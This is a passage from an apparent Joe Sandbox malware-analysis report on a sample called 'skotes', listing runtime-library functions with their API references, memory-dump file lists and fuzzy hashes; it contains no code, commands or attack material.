Part of subcall function 00615555: _InternalDeleteHelper.LIBCONCRT ref: 00615564

ListArray.LIBCONCRT ref: 006148AF
_InternalDeleteHelper.LIBCONCRT ref: 006148C8

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 0608c187de03fb85caa4432398d29e9c646caacce97c83ad8e17edd0a47fc27a
Instruction ID: 31fe72ea91cfdad11ca44bfb320a95b90a62ede2cf7893e5b87c22342469a4d9
Opcode Fuzzy Hash: 0608c187de03fb85caa4432398d29e9c646caacce97c83ad8e17edd0a47fc27a
Instruction Fuzzy Hash: AB01D671600521AFCA95BBA4C886EEEBB6BBF84710708012DF80497652DF20ECA187A4

Function 0061EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0061EE6A
ListArray.LIBCONCRT ref: 0061EE7C

Part of subcall function 0061EF29: _InternalDeleteHelper.LIBCONCRT ref: 0061EF3B

ListArray.LIBCONCRT ref: 0061EE86
_InternalDeleteHelper.LIBCONCRT ref: 0061EE9F

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: ed3e110b86b3119e17723d919694d2ab0600989a5805732a58fd54e5bb71ce0c
Instruction ID: f16a3ff36c2a9d45235422a50f68f0c9837db26a8cebf318cd5177cd2e4307c5
Opcode Fuzzy Hash: ed3e110b86b3119e17723d919694d2ab0600989a5805732a58fd54e5bb71ce0c
Instruction Fuzzy Hash: 3F01A271240621AFCA656B60C882DEEBB6BBF84750708012DFC0457651DB22EC929694

Function 0061D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 0061D0C5
ListArray.LIBCONCRT ref: 0061D0D7

Part of subcall function 0061C6B2: _InternalDeleteHelper.LIBCONCRT ref: 0061C6C4

ListArray.LIBCONCRT ref: 0061D0E1
_InternalDeleteHelper.LIBCONCRT ref: 0061D0FA

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 1d83753ea6626bf4311bd7ad98494d46651c67c68691a2f021bd85319bb01ae1
Instruction ID: 45c6e461510e96ad6b73052b17e77b3a3fe962580c3b75ccea24c30bee358be0
Opcode Fuzzy Hash: 1d83753ea6626bf4311bd7ad98494d46651c67c68691a2f021bd85319bb01ae1
Instruction Fuzzy Hash: 2501D671340521BFCA657B60C9C6EEEBB6BBF44720708452DF80097651DF21ACA196D4

Function 006233C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006233DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 006233EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00623407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 0062341F

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: b56dc0a763a4f1247e7cab8ca69f151404f3be44ba6ed56c603c34327222ec75
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 5001A732600934A7CB56FA549841AEFB79B9F94350F100059FC229B381DB75EF119AA0

Function 00619510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00619519

Part of subcall function 0060F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00615486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0061953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00619550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00619559

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: d884861e1ae436a59cb3f970a7d4a74f50dafbe7aa0a3e9bc289e9b32b4dfdc5
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: E6F0AE31500E205EF5A1AB549411FE623D79F40711F04C41DE45B97643CE24F882CF54

Function 00607A00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

__Cnd_destroy_in_situ.LIBCPMT ref: 00607AF8
__Mtx_destroy_in_situ.LIBCPMT ref: 00607B01

Strings

